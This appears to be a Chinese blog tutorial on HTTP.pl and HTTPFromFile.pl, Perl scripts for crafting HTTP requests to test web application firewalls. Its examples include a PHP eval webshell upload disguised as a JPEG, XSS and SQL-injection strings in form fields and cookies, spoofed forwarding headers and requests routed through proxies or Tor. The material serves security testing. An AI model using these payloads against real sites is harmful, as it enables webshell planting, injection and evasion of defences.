通过HTTP发包工具了解HTTP协议

一、HTTP.pl功能简介

HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。

该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。

使用的perl模块

(1)URI 相关模块 : 处理URI对象,分解及组装URI对象

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

(2)HTTP协议相关部分:构造请求,发送请求,及解析响应

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;

二、HTTP.pl脚本安装

git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminus
cat requirePackage.txt | cpanm 

三、HTTP.pl使用实例

1. 脚本选项解析

perl HTTP.pl --help

-help 帮助选项
-url ‘http://xxxx.xx.com‘ HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法,默认为GET方法

-H|header X-Forwarded-For=‘127.0.0.1, 127.0.0.2‘ -H Via=‘Squid‘ HTTP请求头
-cookie usertrack=‘123456‘ -b hit=1 HTTP cookie
-d|data name=‘tanjiti‘ -d passwd=12345 HTTP 查询字符串/post表单数据

-A|user-agent ‘baiduspider‘ HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer ‘http://www.baidu.com‘ HTTP Referer

-proxy ‘http://64.34.14.28:7808‘ 代理,支持https,http,socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次

-F|fileUpload 表明本次请求为文件上传
-fileFiled ‘uploaded‘ 文件域name
-filePath ‘/tmp/a.jpeg‘ 本地文件路径
-fileName ‘a.php‘ 上传文件名
-fileContent ‘<?php eval($_POST[a]);?>‘ 上传文件内容
-fileType ‘image/jpeg‘ 上传文件类型

-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码

2.重定向例子

(1)关闭自动重定向

选项 -L

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

(2)设置自动重定向次数,默认为7次

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

3.基本认证例子

选项

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码

 

需要基本验证的请求

./HTTP.pl -url http://www.tanjiti.com/xxx/

基本验证

./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

4. GET提交表单的例子

选项 -d

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘

5. POST提交表单的例子

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

(1)提交urlencode编码

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘ -method post

(2)提交原始数据

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘ -method post -raw

6. 提交文件上传请求

选项说明

 -F|fileUpload 表明本次请求为文件上传

-fileFiled ‘uploaded‘ 文件域name
-filePath ‘/tmp/a.jpeg‘ 本地文件路径
-fileName ‘a.php‘ 上传文件名
-fileContent ‘<?php eval($_POST[a]);?>‘ 上传文件内容
-fileType ‘image/jpeg‘ 上传文件类型

-d 其他表单域数据

(1)上传本地文件到服务器

上传php文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"

上传jpeg图片文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"

(2) 上传本地文件到服务器,并修改文件实际的名字和类型

文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName ‘1.jpg .php‘ -fileType ‘image/jpeg‘

(3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName ‘avator.jpeg‘ -fileType ‘image/jpeg‘ -fileContent ‘<?php @eval($_POST[a]);?>‘

7.构造cookie头

选项 

-cookie

./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti‘ or ‘‘= ‘‘ -- " -cookie password=‘1 or 1=1 --‘

 

 

8.构造HTTP头

在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。

下面是常见用于日志收集的HTTP请求头:

User-Agent 脚本中默认为  Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

Referer   用户是从这个页面上依照链接跳转过来的

Host

Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集

Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6

X_Forwarded_For  经过的客户端IP地址

Via   代理服务器标识

(1) 指定UserAgent

选项 

-A  或者-user-agent

./HTTP.pl -url http://www.tanjiti.com -A ‘tanjiti‘

(2)指定referer

选项 

-e  或者-referer

./HTTP.pl -url http://www.tanjiti.com -e ‘http://www.google.com‘

(3)指定HTTP头

./HTTP.pl -url http://127.0.0.1 -H Accept=‘*/*‘ -H Accept-Charset=‘utf-8‘ -H Accept-Encoding=‘identity‘ -H Accept-Language=‘zh-CN,zh;q=0.8,en;q=0.6‘ -H Host=‘www.tanjiti.com‘ -H Via=‘1.0 tanjiit.com(squid 0.54)‘ -H X-Forwarded-For=‘129.78.138.66, 129.78.64.103‘

8.使用代理例子

选项 -proxy

(1)使用HTTP代理

./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888

9.其它选项

(1) 仅发包,不回显具体的HTTP协议包

选项 -s

./HTTP.pl -url http://www.tanjiti.com/a.php -s

(2)指定请求超时时间,默认为180s

选项 -t (单位s)

./HTTP.pl -url http://www.tanjiti.com/ -t 20

四、HTTPFromFile.pl

从文件内容构造HTTP请求来发包

以测试某个站点WAF的XSS防御为例

第一步:构造XSS请求包

echo -ne ‘GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n‘ > xss.t

第二步:发送xss请求包

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

选项说明:

-code: 预期的http响应码,不是所有的waf都用403做拦截响应码

-host: 指定发包的Host,默认为127.0.0.1

-port 指定发包的端口,默认为80

-file 指定存放请求包内容的文件,必须指定该参数

HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

-dir 指定存放请求包内容的文件目录

原文地址:http://danqingdani.blog.163.com/blog/static/18609419520144202591392/

时间: 2024-10-01 04:18:45

通过HTTP发包工具了解HTTP协议的相关文章

超简单的windows发包工具—小兵以太网测试仪

小兵以太网测试仪 是一款windows平台下的发包工具. 该软件小巧.易用.开源.免费. 该软件支持各种常见报文(包括arp ip icmp udp tcp等)的编辑与发送,支持发包速率控制. 同时,该软件还具有抓包功能. 软件主界面如下: 好了,下面我们就一起来看看该软件的各个功能点吧. 一. 新建或编辑报文 在软件主界面右边的列表框中,点右键,根据菜单提示,即可进行新建报文/编辑已有报文的操作了. 报文编辑的界面如下: . 支持 以太网(包括vlan).arp.ip.icmp.udp.tcp

windows发包工具—小兵以太网测试仪

小兵以太网测试仪 是一款windows平台下的发包工具. 该软件小巧.易用.开源.免费. 该软件支持各种常见报文(包括arp ip icmp udp tcp等)的编辑与发送,还可以控制发包速率. 同时,该软件还具有抓包功能. 软件主界面如下: 好了,下面我们就一起来看看该软件的各个功能点吧. 一.新建或编辑报文 在软件主界面右边的列表框中,点右键,根据菜单提示,即可进行新建报文/编辑已有报文的操作了. 报文编辑的界面如下: . 支持 以太网(包括vlan).arp.ip.icmp.udp.tcp

Sendip 命令行发包工具,支持IP、TCP、UDP等

Sendip是一个linux平台的命令行发数据包工具,目前(2018年2月)支持的协议有ipv4.ipv6.icmp.tcp.udp.bgp.rip.ntp,作者表示其他协议将会后面支持,当他有空写的时候.Sendip很强大,它支持自定义头部和数据(也就是IP层以上的整个包),没有过多的限制,所以连源IP都可以随意写,而且里面也提供了一些默认的选项,可以择需而发,非常方便.又因为它是命令行的,还支持从文件中直接读取整个packet发送,所以适合用脚本批量测试.它只是个发包工具,对于发出去的包,收

发包工具D-ITG

最近发现了一个非常好用的发包工具D-ITG,比iperf功能强大.安利一波. 这是它的使用指南,非常齐全.http://traffic.comics.unina.it/software/ITG/manual/ 工具首页是:http://traffic.comics.unina.it/software/ITG/ 原文地址:https://www.cnblogs.com/fenglt/p/8649714.html

Charles——charles 工具栏Tools总结——批量重复请求/重复发包工具/repeat——Advanced Repeat就是重复发包多次

charles 批量请求 重复发包工具/repeat Charles 让你选择一个请求并重复,在测试后端接口的时候非常有用: Charles将请求重新发送到服务器,并将响应显示为新请求. 如果您进行后端更改并希望测试它们,用了charles后,你就没必要在浏览器(或其他客户端)中重复该请求,charles可以非常方便的完成. 特别是如果重新创建请求需要传一些列参数的时候(比如在游戏中获得分数,比如填写一大串表单的请求时候),这将节省大量的精力. 请求的重复在Charles内部完成,因此您无法在浏

基于netwox/netwag 工具的网络协议攻防实验

实验目的: 理解基于网络协议的攻击原理, 掌握一些基于网络协议攻击的方法, 掌握 netwox/netwag 的使用方法. 实验环境: netwox/netwag 工具, wireshark 工具, Telnet 服务器, Telnet 客户端 实验准备: 1. 安装 netwox/netwag 工具:先安装 ActiveTcl,再解压安装 2. 安装配置 Telnet 服务器, Telnet 客户端 实验内容: 使用 netwox/netwag 工具伪造 TCP 包并进行抓包分析 2. 使用

inux下网络发包工具 Tcpreplay3.x。

第1章.     说明 本文档只适用于Tcpreplay3.x. 第2章.     Tcpreplay系列工具 2.1. 概述 首先推荐一个网站:http://tcpreplay.synfin.net/,上面有Tcpreplay的安装包和很多文档,包括手册.man页和FAQ等.本文也是在参考这个网站的基础上,通过一些实验而得出的. Tcpreplay是一系列工具的总称,包括tcpreplay.tcprewrite和tcpprep等工具,这也是Tcpreplay的第一个字母大写的原因.它用来在Un

ZipArchive是一个开源的zip开发包工具。

使用方法如下: 创建/添加一个zip包 ZipArchive* zipFile = [[ZipArchive alloc] init]; //次数得zipfilename需要一个完整得路径,例如***/Documents/demo.zip [zipFile CreateZipFile2:@"zipfilename"]; //有两种可选得方式进行创建压缩包,带密码和不带密码的 [[zipFile CreateZipFile2:@"zipfilename" Passwo

【发包工具】http多线程发包工具

使用方法:输入地址,发送的内容,线程数,等待时间,每个线程发送的次数,GET/POST请求. 源代码 package com.xmxkkk.httptest; import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.border.TitledBorder; public class MainWindow extends JFrame { // HttpClient httpclien